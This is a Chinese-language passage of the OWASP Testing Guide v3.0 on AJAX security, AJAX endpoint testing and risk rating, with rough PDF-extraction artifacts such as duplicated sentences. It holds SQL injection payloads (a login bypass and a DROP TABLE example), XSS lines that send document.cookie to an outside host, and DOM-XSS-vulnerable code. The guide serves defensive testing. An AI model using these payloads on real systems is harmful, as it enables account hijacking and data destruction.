Asynchronous JavaScriptand XML( AJAX ) 是 应 用 程 序 开 发 商 使 用 的 最 新 的 技 术 , 用 于 给 用 户 提 供 和 本 地 应 用 程 序 相<br />

似 的 体 验 。 由 于 AJAX 的 仍 然 是 一 种 新 技 术 , 还 存 在 许 多 尚 未 充 分 研 究 的 安 全 问 题 。 一 些 AJAX 的 安 全 问 题 包 括 :<br />

• 使 用 更 多 需 要 确 保 安 全 的 输 入 增 加 攻 击 表 面<br />

• 暴 露 应 用 程 序 的 内 部 功 能<br />

• 客 户 端 在 没 有 内 置 安 全 和 编 码 机 制 情 况 下 访 问 第 三 方 资 源 ,<br />

• 不 能 保 护 认 证 信 息 和 会 话<br />

• 客 户 端 和 服 务 器 端 代 码 之 间 的 界 线 模 糊 , 造 成 安 全 错 误<br />

漏 洞 攻 击<br />

XMLHttpRequest 漏 洞<br />

AJAX 使 用 的 XMLHttpRequest ( XHR ) 对 象 与 服 务 器 端 应 用 程 序 进 行 所 有 通 信 , 通 常 是 与 Web 服 务 。 客 户 端 发 送 请<br />

求 到 同 一 台 服 务 器 上 的 特 定 网 址 作 为 原 始 网 页 , 并 可 以 从 服 务 器 接 收 任 何 形 式 的 答 复 。 这 些 答 复 往 往 是 片 段 的<br />

HTML , 也 可 以 是 XML 、JavaScript 对 象 符 号 (Javascript Object Notation, 简 称 JSON ) 、 图 像 数 据 、 或 任 何 其 它<br />

JavaScript 能 处 理 的 数 据 。<br />

335


其 次 , 在 一 个 非 SSL 连 接 中 访 问 AJAX 网 页 时 ,XMLHttpRequest 序 列 要 求 也 没 有 进 行 SSL 加 密 。 因 此 , 登 录 数 据 遍 历<br />

在 明 文 中 的 线 。 使 用 现 代 浏 览 器 支 持 的 安 全 的 HTTPS / SSLchannels 是 最 简 单 防 止 此 类 攻 击 发 生 的 方 法 。<br />

XMLHttpRequest ( XHR ) 对 象 检 索 网 站 所 有 服 务 器 的 信 息 。 这 可 能 导 致 其 它 各 种 攻 击 , 如 SQL 注 入 、 跨 站 点 脚 本<br />

( XSS ) 等 。<br />

攻 击 表 面 增 加<br />

与 完 全 存 在 于 服 务 器 中 的 传 统 Web 应 用 程 序 不 同 , AJAX 应 用 程 序 延 伸 到 客 户 端 和 服 务 器 , 这 使 客 户 端 拥 有 部 分 权<br />

力 。 这 就 给 恶 意 内 容 注 入 增 加 了 潜 在 途 径 。<br />

SQL 注 入<br />

SQL 注 入 攻 击 是 数 据 库 的 远 程 攻 击 , 其 中 黑 客 在 数 据 库 中 修 改 了 数 据 。 一 个 典 型 的 SQL 注 入 攻 击 如 下 :<br />

例 1<br />

SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;<br />

此 查 询 将 随 时 返 回 一 行 ( 除 非 该 表 是 空 的 ), 并 且 很 有 可 能 是 表 单 中 的 第 一 个 入 口 。 在 许 多 应 用 程 序 中 , 该 入 口 就<br />

是 管 理 员 登 录 口 — 具 有 最 高 权 限 的 入 口 。<br />

例 2<br />

SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;<br />

上 述 查 询 切 断 了 所 有 表 格 并 毁 坏 了 数 据 库 。<br />

获 取 更 多 关 于 SQL 注 入 的 相 关 信 息 , 可 查 询 Testing_for_SQL_Injection<br />

跨 站 脚 本<br />

跨 站 点 脚 本 跨 站 脚 本 是 一 种 使 用 HTML 链 接 、 JavaScript 的 警 示 、 或 错 误 讯 息 的 形 式 注 入 恶 意 内 容 的 技 术 。 跨 站 脚<br />

本 漏 洞 可 用 于 触 发 其 它 各 种 攻 击 如 cookie 盗 窃 、 帐 户 劫 持 、 阻 断 服 务 攻 击 等 。<br />

浏 览 器 和 AJAX 请 求 看 上 去 相 同 , 因 此 服 务 器 无 法 区 分 他 们 。 因 此 , 也 分 辨 不 了 是 谁 提 出 的 要 求 。 在 没 有 得 知 用 户<br />

情 况 下 一 个 JavaScript 程 序 可 以 在 后 台 使 用 AJAX 请 求 资 源 。 该 浏 览 器 将 自 动 添 加 必 要 的 认 证 或 保 存 的 信 息 , 如 请 求<br />

的 cookies。 JavaScript 代 码 就 可 以 访 问 隐 藏 请 求 的 回 应 , 并 发 送 更 多 请 求 。JavaScript 功 能 扩 大 会 增 加 跨 站 点 脚 本<br />

( XSS ) 攻 击 造 成 的 损 害 。<br />

此 外 , 跨 站 脚 本 攻 击 可 能 发 送 请 求 到 特 定 网 页 , 而 不 是 用 户 目 前 正 在 访 问 的 页 面 。 这 使 得 攻 击 者 积 极 寻 找 某 些 内<br />

容 , 并 暗 自 访 问 这 些 数 据 。<br />

336


OWASP 测 试 指 南 v3.0<br />

跨 站 脚 本 有 效 载 荷 使 用 AJAX 请 求 自 动 将 本 身 注 入 到 网 页 , 并 轻 松 地 再 注 入 更 多 的 跨 站 脚 本 到 相 同 的 主 机 ( 如 病<br />

毒 ) 。 这 都 不 需 要 任 何 硬 性 刷 新 。 因 此 , 跨 站 脚 本 可 以 使 用 复 杂 的 HTTP 方 法 发 送 多 个 用 户 无 法 发 现 的 请 求 。<br />

举 例<br />

alert("howdy")<br />

document.location='http://www.example.com/pag.pl?'%20+document.cookie<br />

用 法 :<br />

http://example.com/login.php?variable=">document.location='http://www.irr.com/cont.php?'+document.cookie<br />

这 只 会 把 页 面 从 发 送 要 求 的 页 面 指 向 未 知 的 恶 意 网 页 。<br />

客 户 端 注 入 威 胁<br />

• 跨 站 脚 本 漏 洞 可 以 连 接 任 何 客 户 端 的 数 据 , 也 可 以 修 改 客 户 端 代 码 。<br />

• DOM 注 入 是 一 种 pf XSS 注 入 , 通 过 Document Object Model(DOM) 的 sub-objects, document.location,<br />

document.URL, or document.referrer 进 行 攻 击<br />

<br />

var pos=document.URL.indexOf("name=")+5;<br />

document.write(document.URL.substring(pos,document.URL.length));<br />

<br />

• JSON/XML/XSLT 注 入 - XML 内 容 中 的 恶 意 代 码 注 入<br />

AJAX 的 桥 接<br />

为 了 安 全 起 见 , AJAX 应 用 程 序 只 能 连 接 到 它 们 所 属 的 网 站 。 例 如 ,JavaScript 和 从 yahoo.com 下 载 的 AJAX 无 法 连 接<br />

到 google.com 。 为 了 让 AJAX 以 这 种 方 式 联 系 第 三 方 网 站 , 闯 将 了 AJAX 服 务 桥 梁 。 在 桥 梁 中 , 主 机 提 供 了 一 个 Web<br />

服 务 , 作 为 代 理 转 发 客 户 端 上 运 行 的 JavaScript 和 第 三 方 网 站 之 间 的 流 量 。 桥 可 以 被 看 作 是 一 个 “Web 服 务 到 Web<br />

服 务 ” 的 连 接 。 攻 击 者 可 以 使 用 它 来 访 问 受 限 制 的 网 站 。<br />

跨 站 请 求 伪 造 (CSRF)<br />

CSRF 是 一 种 攻 击 者 迫 使 受 害 者 网 页 浏 览 器 发 送 HTTP 请 求 到 任 何 他 所 选 择 的 网 站 ( 局 域 网 也 是 一 样 ) 的 漏 洞 。 例<br />

如 , 当 读 取 POST 请 求 时 , 嵌 入 网 页 的 HTML / JavaScript 代 码 可 能 迫 使 您 的 浏 览 器 对 您 的 银 行 、 博 客 、 网 络 邮 件 、<br />

DSL 路 由 器 等 发 送 外 域 请 求 。CSRF 可 以 无 形 转 让 基 金 、 张 贴 评 论 、 损 害 电 子 邮 件 列 表 、 或 重 新 配 置 网 络 。 当 受 害 人<br />

被 迫 发 送 CSRF 请 求 时 , 如 果 他 们 近 期 已 经 登 录 , 该 请 求 将 通 过 验 证 。 最 糟 糕 的 是 所 有 的 系 统 日 志 将 确 认 您 实 际 上<br />

提 出 了 请 求 。 这 种 攻 击 虽 然 并 不 常 见 , 但 以 前 也 发 生 过 。<br />

拒 绝 服 务 阻 断 服 务 攻 击<br />

337


阻 断 服 务 攻 击 是 一 个 古 老 的 攻 击 , 攻 击 者 或 存 在 漏 洞 的 应 用 程 序 强 制 用 户 违 背 自 己 的 意 愿 发 送 多 个<br />

XMLHttpRequests 到 目 标 应 用 程 序 。 事 实 上 , 浏 览 器 域 名 限 制 使 XMLHttpRequests 只 能 在 其 它 域 名 中 发 送 这 种 攻 击 。<br />

简 单 的 技 巧 , 如 使 用 图 片 标 签 嵌 套 循 环 内 的 JavaScript 可 以 使 这 个 攻 击 更 有 效 。 在 客 户 端 的 AJAX 技 术 使 攻 击 更 容<br />

易 。<br />

<br />

内 存 泄 漏<br />

浏 览 器 攻 击<br />

我 们 所 使 用 的 网 络 浏 览 器 设 计 之 初 并 未 考 虑 安 全 问 题 。 浏 览 器 大 多 数 的 安 全 功 能 往 往 是 基 于 以 前 的 攻 击 , 因 此 我 们<br />

的 浏 览 器 无 法 应 对 新 的 攻 击 。<br />

然 而 在 浏 览 器 中 存 在 许 多 新 攻 击 , 如 黑 客 使 用 浏 览 器 对 内 部 网 络 攻 击 。JavaScript 首 先 确 定 了 个 人 电 脑 的 内 部 网 络 地<br />

址 。 然 后 , 使 用 标 准 的 JavaScript 对 象 和 命 令 开 始 扫 描 本 地 网 络 上 的 Web 服 务 器 。 这 些 可 能 是 服 务 网 页 的 电 脑 , 但<br />

也 可 能 包 括 路 由 器 、 打 印 机 、IP 电 话 、 以 及 其 它 网 络 设 备 或 包 含 web 界 面 的 应 用 程 序 。JavaScript 扫 描 器 通 过<br />

JavaScript 的 ”image” 来 “ping” 某 一 个 IP 地 址 是 否 有 一 台 电 脑 。 然 后 通 过 查 找 储 存 在 标 准 地 方 的 图 像 文 件 并 分 析 所 接<br />

收 的 流 量 和 错 误 信 息 确 定 运 行 了 哪 些 服 务 器 。<br />

攻 击 目 标 为 网 络 浏 览 器 和 Web 应 用 程 序 漏 洞 的 攻 击 往 往 是 由 HTTP 执 行 的 , 因 此 它 可 以 绕 过 网 络 边 界 的 过 滤 机 制 。<br />

此 外 , 广 泛 部 署 Web 应 用 程 序 和 Web 浏 览 器 会 提 供 给 攻 击 者 大 量 容 易 利 用 的 目 标 。 例 如 , Web 浏 览 器 漏 洞 可 导 致<br />

在 操 作 系 统 组 件 和 个 人 应 用 程 序 中 利 用 漏 洞 , 这 可 能 会 导 致 安 装 恶 意 代 码 , 包 括 机 器 人 。<br />

主 要 攻 击<br />

MySpace 攻 击<br />

蠕 虫 病 毒 Samy 和 Spaceflash 都 是 通 过 Myspace 进 行 传 播 , 改 变 该 最 受 欢 迎 的 社 交 网 站 中 的 用 户 档 案 。 通 过 Samy 蠕<br />

虫 , XSS 漏 洞 可 以 在 Myspace 的 个 人 档 案 中 采 用 。 AJAX 用 来 将 病 毒 注 入 Myspace 中 查 看 了 感 染 页 面 的 用<br />

户 的 个 人 档 案 并 迫 使 这 些 用 户 将 samy 添 加 到 朋 友 列 表 。 在 受 害 者 的 形 象 中 同 样 出 现 过 “Samy is my hero” 的 字<br />

样 。<br />

Yahoo! Mail 攻 击<br />

2006 年 6 月 , Yamanner 蠕 虫 感 染 雅 虎 的 电 子 邮 件 服 务 。 该 蠕 虫 病 毒 , 使 用 跨 站 脚 本 和 AJAX , 利 用 中 雅 虎 邮 箱 的<br />

onload 事 件 处 理 的 一 个 漏 洞 。 当 打 开 感 染 的 电 子 邮 件 时 , 该 蠕 虫 代 码 执 行 JavaScript, 发 送 自 己 的 副 本 到 所 有 雅 虎 受<br />

感 染 用 户 的 联 系 人 中 。 受 感 染 的 电 子 邮 件 随 机 从 受 感 染 的 系 统 中 挑 选 了 寄 件 人 地 址 , 这 使 得 它 看 起 来 像 一 个 从 已 知<br />

的 用 户 发 出 的 电 子 邮 件 。<br />

338


OWASP 测 试 指 南 v3.0<br />

参 考<br />

白 皮 书<br />

• Billy Hoffman, "Ajax(in) Security" - http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf<br />

• Billy Hoffman, "Analysis of Web Application Worms and Viruses - http://www.blackhat.com/presentations/bh-usa-06/BH-US-<br />

06-Hoffman_web.pdf ",SPI Labs<br />

• Billy Hoffman, "Ajax Security Dangers" - http://www.spidynamics.com/assets/documents/AJAXdangers.pdf ",SPI Labs<br />

• “Ajax: A New Approach to Web Applications”, Adaptive Path -<br />

http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett<br />

• http://en.wikipedia.org/wiki/AJAX AJAX<br />

• http://ajaxpatterns.org AJAX Patterns<br />

4.11.2 检 测 AJAX (OWASP-AJ-002)<br />

摘 要<br />

由 于 对 AJAX 应 用 程 式 的 大 多 数 攻 击 和 传 统 Web 应 用 程 式 攻 击 相 似 , 测 试 应 参 考 其 他 章 节 的 测 试 指 南 , 寻 找 具 体 参<br />

数 的 使 用 , 以 找 出 安 全 漏 洞 。 这 个 挑 战 , 基 于 AJAX 的 应 用 程 式 的 难 题 在 于 寻 找 异 步 调 用 的 目 标 端 点 , 然 后 确 定 适<br />

当 的 请 求 格 式 。<br />

问 题 描 述<br />

采 用 自 动 化 的 方 式 很 容 易 发 现 传 统 的 WEB 应 用 程 式 。 一 个 应 用 程 序 一 般 都 有 一 个 或 多 个 HREF 的 网 页 连 接 或 其 他 链<br />

接 。 有 趣 的 网 页 将 有 一 个 或 多 个 HTML 表 单 。 这 些 表 格 将 有 一 个 或 多 个 参 数 。 利 用 简 单 的 寻 找 anchor(A) 标 签 和<br />

HTML 表 单 等 爬 蟲 技 术 应 该 能 够 发 现 在 传 统 web 应 用 程 序 中 的 所 有 网 页 、 形 式 和 参 数 。 对 该 应 用 程 序 的 请 求 遵 循 了<br />

在 HTTP 规 格 中 列 出 的 知 名 的 一 致 的 格 式 。GET 请 求 格 式 如 下 :<br />

http://server.com/directory/resource.cgi?param1=value1&key=value<br />

采 用 同 样 的 方 式 发 送 到 URL 的 POST 请 求 :<br />

http://server.com/directory/resource.cgi<br />

POST 请 求 中 的 数 据 采 用 相 似 的 形 式 编 码 并 包 含 在 标 题 后 的 请 求 中 :<br />

param1=value1&key=value<br />

不 幸 的 是 , 服 务 器 端 的 AJAX 端 点 不 会 那 么 容 易 或 一 致 地 被 发 现 。 实 际 有 效 的 请 求 格 式 留 在 了 所 使 用 的 Ajax 框 架<br />

中 或 开 发 者 自 行 处 理 。 因 此 , 全 面 测 试 基 于 AJAX 的 应 用 程 序 , 测 试 员 需 要 注 意 的 所 使 用 的 框 架 、 可 使 用 的 AJAX<br />

端 点 、 以 及 有 效 请 求 所 需 要 的 格 式 。 一 旦 了 解 了 这 些 情 况 , 可 以 使 用 利 用 代 理 的 标 准 参 数 操 控 技 术 测 试 SQL 注 入 和<br />

其 它 缺 陷 。<br />

339


黑 盒 测 试 实 例<br />

测 试 AJAX 端 点<br />

在 测 试 基 于 AJAX 的 web 应 用 程 序 之 前 , 必 须 列 举 异 步 调 用 的 调 用 端 点 。 获 取 更 多 有 关 “ 如 何 发 现 传 统 WEB 应 用<br />

程 序 ” 的 信 息 请 参 见 。 对 AJAX 应 用 程 序 而 言 Application_Discovery。 对 AJAX 应 用 而 言 , 有 两 个 主 要 的 办 法 来 确 定<br />

调 用 端 点 : 解 析 HTML 和 JavaScript 文 件 和 使 用 代 理 观 测 流 量 。 在 Web 应 用 程 序 解 析 HTML 和 JavaScript 文<br />

件 的 优 势 是 可 以 提 供 从 客 户 端 访 问 的 服 务 器 端 功 能 的 更 全 面 的 观 点 。 其 缺 点 是 手 动 审 查 HTML 和 JavaScript 的<br />

内 容 单 调 乏 味 , 更 重 要 的 是 AJAX 调 用 访 问 的 服 务 器 端 URL 的 位 置 和 格 式 依 赖 于 框 架 。 测 试 员 应 该 查 看 HTML 和<br />

JavaScript 文 件 找 到 其 它 应 用 程 序 的 服 务 端 的 URL。 在 JavaScript 代 码 中 寻 找 XMLHttpRequest 对 象 的 使<br />

用 情 况 能 够 有 助 于 集 中 这 些 审 查 效 果 。 另 外 , 通 过 了 解 JavaScript 文 件 的 名 字 , 测 试 可 以 确 定 哪 些 AJAX 框 架<br />

似 乎 是 在 使 用 中 。 一 旦 确 定 AJAX 的 端 点 , 测 试 应 进 一 步 检 查 代 码 以 确 定 请 求 要 求 的 格 式 。<br />

使 用 代 理 观 测 流 量 的 优 点 是 实 际 请 求 最 好 表 明 了 应 用 程 序 在 哪 里 发 送 请 求 以 及 这 些 请 求 的 格 式 是 什 幺 。 其 缺 点 是 只<br />

能 显 示 应 用 程 序 实 际 调 用 的 端 点 。 测 试 必 须 充 分 发 挥 远 程 应 用 程 式 , 即 使 会 出 现 更 多 的 没 有 积 极 使 用 的 调 用 终 端 。<br />

在 运 行 应 用 程 序 时 , 代 理 应 观 测 用 户 可 浏 览 的 网 页 和 后 端 AJAX 端 点 的 异 步 对 话 。 测 试 者 获 得 这 种 会 话 数 据 可 以 确<br />

定 会 话 中 正 在 传 送 的 所 有 HTTP 请 求 , 而 不 是 仅 着 眼 于 应 用 程 序 中 用 户 可 浏 览 的 网 页 。<br />

340


OWASP 测 试 指 南 v3.0<br />

预 期 结 果 :<br />

通 过 列 举 应 用 程 式 现 有 的 AJAX 端 点 和 确 定 需 要 的 请 求 格 式 , 测 试 者 可 以 设 置 的 进 一 步 分 析 应 用 程 序 的 阶 段 。 一 旦<br />

端 点 和 适 当 的 请 求 格 式 已 经 确 定 , 测 试 者 可 以 使 用 Web 代 理 和 标 准 的 Web 应 用 程 式 参 数 操 纵 技 术 寻 找 SQL 注 入 和<br />

参 数 篡 改 攻 击 。<br />

拦 截 和 调 试 JS 浏 览 器<br />

使 用 普 通 的 浏 览 器 , 也 可 以 详 细 分 析 基 于 JavaScript 的 Web 应 用 程 式 。<br />

Firefox 中 AJAX 调 用 功 能 可 以 使 用 监 测 代 码 流 的 扩 展 插 件 拦 截 。<br />

两 个 扩 展 “FireBus” 和 “Venkman JavaScript 调 试 器 ” 提 供 这 种 能 力 。<br />

微 软 也 提 供 一 些 工 具 在 Internet Explorer 中 允 许 实 时 JavaScript 调 试 , 如 "Script Debugger"。<br />

在 网 页 上 使 用 Firebug, 测 试 者 可 以 通 过 设 置 "Options->Show XmlHttpRequest" 找 到 Ajax 端 点 。<br />

341


从 现 在 起 , XMLHttpRequest 对 象 完 成 的 任 何 请 求 将 会 列 在 下 方 的 浏 览 器 。<br />

网 址 的 右 边 显 示 了 源 脚 本 和 执 行 调 用 的 行 , 并 通 过 点 击 显 示 的 网 址 , 将 显 示 该 服 务 器 的 反 应 。<br />

因 此 , 可 以 简 单 的 理 解 哪 里 发 出 请 求 、 作 出 什 幺 响 应 、 以 及 端 点 在 哪 里 。 如 果 点 击 了 源 脚 本 的 链 接 , 测 试 者 可 以 找<br />

到 请 求 的 根 源 。<br />

由 于 调 试 Javascript 就 是 学 习 脚 本 如 何 建 立 URL、 以 及 有 多 少 参 数 可 用 , 当 密 码 记 录 下 来 并 且 相 关 输 入 标 签 失<br />

去 了 重 点 时 , 通 过 填 写 表 格 完 成 下 图 中 的 新 的 请 求 。<br />

342


OWASP 测 试 指 南 v3.0<br />

现 在 , 通 过 点 击 JavaScript 源 代 码 的 链 接 , 测 试 进 入 到 下 一 个 端 点 。<br />

然 后 通 过 在 JavaScript 端 点 附 近 的 一 些 线 路 上 设 置 断 点 , 可 以 很 容 易 知 道 调 用 堆 栈 , 如 下 图 所 示 。<br />

灰 盒 测 试 实 例<br />

测 试 AJAX 端 点<br />

获 得 更 多 应 用 程 式 源 代 码 的 信 息 可 以 大 大 加 快 列 举 AJAX 端 点 , 同 时 了 解 哪 些 框 架 正 在 使 用 将 有 助 于 测 试 者 了 解<br />

AJAX 请 求 所 需 的 格 式 。<br />

预 期 结 果<br />

所 使 用 的 框 架 和 可 以 利 用 的 AJAX 端 点 的 知 识 可 以 帮 助 测 试 者 集 中 精 力 和 减 少 发 现 和 应 用 程 序 轨 迹 所 需 的 时 间 。<br />

343


参 考<br />

OWASP<br />

• AJAX 安 全 工 程 AJAX 安 全 工 程 - http://www.owasp.org/index.php/Category:OWASP_AJAX_Security_ProjectAJAX 安 全 工 程<br />

AJAX 安 全 工 程 - http://www.owasp.org/index.php/Category:OWASP_AJAX_Security_Project<br />

白 皮 书<br />

• Hacking Web 2.0 Applications with Firefox, Shreeraj Shah<br />

• Vulnerability Scanning Web 2.0 Client-Side Components, Shreeraj Shah<br />

工 具<br />

• The OWASP Sprajax tool can be used to spider web applications, identify AJAX frameworks in use, enumerate AJAX call<br />

endpoints, and fuzz those endpoints with framework-appropriate traffic. At the current time, there is only support for the<br />

Microsoft Atlas framework (and detection for the Google Web Toolkit), but ongoing development should increase the utility of<br />

the tool.<br />

• Venkman is the code name for Mozilla's JavaScript Debugger. Venkman aims to provide a powerful JavaScript debugging<br />

environment for Mozilla-based browsers.<br />

• Scriptaculous's Ghost Train is a tool to ease the development of functional tests for web sites. It’s an event recorder, and a testgenerating<br />

and replaying add-on you can use with any web application.<br />

• Squish is an automated, functional testing tool. It allows you to record, edit, and run web tests in different browsers (IE, Firefox,<br />

Safari, Konqueror, etc.) on different platforms without having to modify the test scripts. Supports different scripting languages<br />

for tests.<br />

• JsUnit is a Unit Testing framework for client-side (in-browser) JavaScript. It is essentially a port of JUnit to JavaScript.<br />

• FireBug lets you explore the far corners of the DOM by keyboard or mouse. All of the tools you need to poke, prod, and monitor<br />

your JavaScript, CSS, HTML and Ajax are brought together into one seamless experience, including a debugger, an error console,<br />

command line, and a variety of fun inspectors.<br />

344


5. 撰 写 报 告 : 评 估 实 际 风 险<br />

这 一 章 描 述 了 应 该 如 何 通 过 安 全 评 定 的 结 果 来 估 计 实 际 风 险 。 总 体 来 说 就 是 创 建 一 套 普 遍 的 方 法 , 并 评 估 每 个 安 全<br />

漏 洞 的 风 险 , 以 此 来 决 定 它 们 的 优 先 次 序 并 处 理 它 们 。 用 一 张 表 格 表 示 安 全 评 估 的 概 要 。 这 张 表 格 表 示 了 需 要 传 达<br />

给 用 户 的 技 术 信 息 , 接 着 很 重 要 的 是 给 管 理 团 队 提 出 内 容 提 要 。<br />

5.1 如 何 评 估 实 际 风 险<br />

OWASP 风 险 分 级 方 法<br />

找 出 漏 洞 是 很 重 要 , 但 能 够 估 计 对 业 务 的 风 险 也 同 样 重 要 。 在 开 发 周 期 的 早 期 , 你 可 能 会 使 用 威 胁 模 型 来 分 析 指 出<br />

系 统 结 构 或 设 计 是 否 安 全 。 之 后 , 你 可 能 会 使 用 代 码 审 查 或 者 渗 透 测 试 来 查 找 安 全 问 题 。 否 则 你 只 能 在 产 品 发 布 并<br />

实 际 造 成 损 害 后 你 才 能 发 现 问 题 。<br />

通 过 遵 循 这 里 的 方 法 , 你 可 以 估 计 业 务 所 有 的 风 险 的 严 重 程 度 , 并 有 根 据 地 制 定 如 何 应 对 它 们 的 措 施 。 拥 有 一 套 风<br />

险 分 级 系 统 可 以 节 约 时 间 并 避 免 关 于 优 先 程 度 的 争 论 。 这 套 系 统 将 会 有 助 于 保 证 你 的 注 意 力 不 会 被 低 风 险 的 漏 洞 所<br />

分 散 , 以 致 于 忽 视 那 些 没 有 很 好 的 被 理 解 的 重 大 风 险 漏 洞 。<br />

理 想 情 况 下 , 应 该 有 一 个 普 遍 通 用 的 风 险 分 级 系 统 能 精 确 的 估 计 所 有 组 织 的 任 何 风 险 。 但 是 , 对 于 某 一 个 组 织 来 说<br />

致 命 的 漏 洞 , 对 于 某 一 个 组 织 来 说 严 重 的 漏 洞 , 对 于 另 一 个 组 织 来 说 可 能 并 不 很 重 要 。 所 以 我 们 这 里 展 示 的 是 一 个<br />

基 本 框 架 , 你 需 要 根 据 你 组 织 的 情 况 来 进 行 定 制 。<br />

我 们 尽 力 来 使 得 这 个 模 型 使 用 起 来 很 简 单 , 但 亦 保 留 了 足 够 的 细 节 作 准 确 的 风 险 估 计 。 请 参 考 下 面 的 章 节 关 于 定 制<br />

你 的 公 司 所 使 用 的 模 型 的 更 多 信 息 。<br />

方 法<br />

风 险 分 析 有 很 种 方 法 。 详 情 请 参 见 下 面 的 参 考 部 分 的 几 种 最 常 用 方 法 。 这 里 展 示 的 OWASP 方 法 是 基 于 这 些 标 准 的<br />

方 法 , 并 为 应 用 程 序 安 全 所 定 制 并 为 应 用 程 序 安 全 所 定 制 。<br />

我 们 从 标 准 风 险 模 型 开 始 :<br />

风 险 = 可 能 性 * 影 响<br />

下 面 的 章 节 中 , 我 们 分 解 了 应 用 程 序 安 全 中 组 成 下 面 的 章 节 中 , 我 们 拆 分 了 应 用 程 序 安 全 中 组 成 “ 可 能 性 ” 和 “ 影<br />

响 ” 的 因 素 , 并 展 示 了 如 何 通 过 组 合 它 们 来 确 定 风 险 的 整 体 严 重 程 度 。<br />

• 步 骤 1: 识 别 风 险<br />

• 步 骤 2: 估 计 可 能 性 的 因 素<br />

• 步 骤 3: 估 计 业 务 影 响 的 因 素<br />

• 步 骤 4: 确 定 风 险 的 严 重 程 度


• 步 骤 5: 决 定 需 要 修 复 的 内 容<br />

• 步 骤 6: 定 制 你 的 风 险 分 级 模 型<br />

步 骤 1: 识 别 风 险<br />

第 一 步 是 识 别 一 个 需 要 分 级 的 安 全 风 险 。 你 需 要 收 集 相 关 威 胁 代 理 的 信 息 、 他 们 使 用 的 攻 击 类 型 、 相 关 的 漏 洞 、 以<br />

及 对 于 成 功 利 用 该 漏 洞 对 业 务 产 生 的 影 响 。 可 能 有 多 组 的 攻 击 者 , 甚 至 有 多 个 可 能 被 影 响 的 业 务 。 通 常 为 了 谨 慎 起<br />

见 , 最 好 要 考 虑 到 最 坏 的 情 况 , 因 为 这 会 道 出 最 高 程 度 的 整 体 风 险 。<br />

步 骤 2: 估 计 可 能 性 的 因 素<br />

一 旦 你 发 现 了 一 个 潜 在 的 风 险 并 想 要 指 出 其 严 重 性 , 那 幺 首 先 要 做 的 就 是 估 计 “ 可 能 性 ”。 从 一 个 由 高 至 低 的 分 析<br />

看 , 这 种 方 法 只 是 粗 略 估 计 攻 击 者 有 多 少 可 能 会 发 现 和 利 用 这 漏 洞 的 方 法 。 我 们 不 必 在 这 个 估 计 太 精 确 。 一 般 来<br />

说 , 只 需 要 判 断 为 高 、 中 或 低 的 可 能 性 就 足 够 了 。<br />

请 注 意 可 能 有 多 个 威 胁 因 素 会 利 用 一 个 相 同 的 特 定 漏 洞 , 所 以 通 常 最 好 作 最 坏 的 打 算 有 数 个 因 素 可 以 帮 助 我 们 分<br />

析 。 第 一 类 因 素 与 威 胁 代 理 有 关 。 目 标 是 估 计 一 组 可 能 的 攻 击 者 攻 击 成 功 的 可 能 性 。 请 注 意 这 里 可 能 有 多 个 威 胁 代<br />

理 会 利 用 一 个 相 同 的 漏 洞 , 所 以 通 常 最 好 以 最 坏 的 打 算 作 判 断 。 例 如 , 一 个 内 部 人 员 比 起 匿 名 的 外 人 更 有 可 能 是 攻<br />

击 者 — 但 这 还 是 要 看 一 系 列 的 因 素 。<br />

注 意 每 个 因 素 都 有 一 组 选 项 , 每 个 选 项 都 可 以 选 择 从 0 到 9 的 可 能 性 分 级 。 我 们 稍 后 将 使 用 这 些 数 字 来 估 计 整 体 的<br />

可 能 性 。<br />

威 胁 因 素<br />

第 一 系 列 的 因 素 与 相 关 的 威 胁 代 理 有 关 。 这 里 的 目 标 是 估 计 一 组 攻 击 者 攻 击 成 功 的 可 能 性 。 对 危 险 要 使 用 最 坏 的 情<br />

况 作 打 算 。<br />

技 术 程 度<br />

这 组 攻 击 者 的 技 术 程 度 如 何 ? 没 有 技 术 (1), 有 一 些 技 术 (3), 高 级 的 计 算 机 用 户 (4), 拥 有 网 络 或 编 程 技 巧<br />

(6), 拥 有 安 全 渗 透 技 巧 (9)<br />

动 机<br />

这 组 攻 击 者 对 于 找 到 某 个 漏 洞 并 利 用 它 的 动 机 为 何 这 组 攻 击 者 对 于 找 到 某 个 漏 洞 并 利 用 它 的 动 机 为 何 ? 没 有 或 者 低<br />

回 报 (1), 可 能 有 回 报 (4), 高 回 报 (9)<br />

这 组 攻 击 者 拥 有 多 少 找 到 某 个 漏 洞 并 利 用 它 的 机 会 机 遇<br />

这 组 攻 击 者 拥 有 多 少 找 到 某 个 漏 洞 并 利 用 它 的 机 会 ? 没 有 已 知 的 权 限 (0), 有 限 的 权 限 (4), 完 整 的 权 限 (9)<br />

346


OWASP 测 试 指 南 v3.0<br />

规 模<br />

这 组 攻 击 者 的 规 模 有 多 大 ? 开 发 人 员 (2), 系 统 管 理 员 (2), 内 网 用 户 (4), 合 作 伙 伴 (5), 已 认 证 用 户<br />

(6), 匿 名 互 联 网 用 户 (9)<br />

漏 洞 漏 洞 因 素<br />

接 下 来 的 这 组 因 素 与 相 关 的 漏 洞 有 关 。 这 里 的 目 标 是 估 计 相 关 的 特 定 漏 洞 被 发 现 和 利 用 的 可 能 性 这 里 的 目 标 是 估 计<br />

相 关 的 漏 洞 被 发 现 和 利 用 的 可 能 性 。 假 定 在 上 面 的 威 胁 代 理 选 项 已 经 给 出 了 选 择 。<br />

发 现 的 难 度<br />

这 组 攻 击 者 发 现 这 个 漏 洞 有 多 难 这 组 攻 击 者 发 现 这 个 漏 洞 有 多 难 ? 几 乎 不 可 能 (1), 难 (3), 简 单 (7), 有 自<br />

动 工 具 可 以 使 用 (9)<br />

利 用 的 难 度<br />

这 组 攻 击 者 利 用 这 个 漏 洞 有 多 难 这 组 攻 击 者 利 用 这 个 漏 洞 有 多 难 ? 理 论 上 可 能 (1), 难 (3), 简 单 (5), 有 自<br />

动 工 具 可 以 使 用 (9)<br />

了 解 程 度<br />

这 组 攻 击 者 对 这 个 漏 洞 有 多 熟 悉 ? 不 知 道 (1), 不 易 了 解 (4), 显 而 易 见 (6), 常 识 (9)<br />

这 组 攻 击 者 对 这 个 漏 洞 有 多 熟 悉 ? 不 知 道 (1), 不 易 了 解 (4), 显 而 易 见 (6), 常 识 (9)<br />

入 侵 检 测<br />

漏 洞 有 多 大 可 能 会 被 检 测 到 ? 应 用 程 序 中 的 实 时 检 测 (1), 被 记 录 并 被 查 看 (3), 被 记 录 但 不 被 查 看 (8), 没<br />

有 记 录 (9)<br />

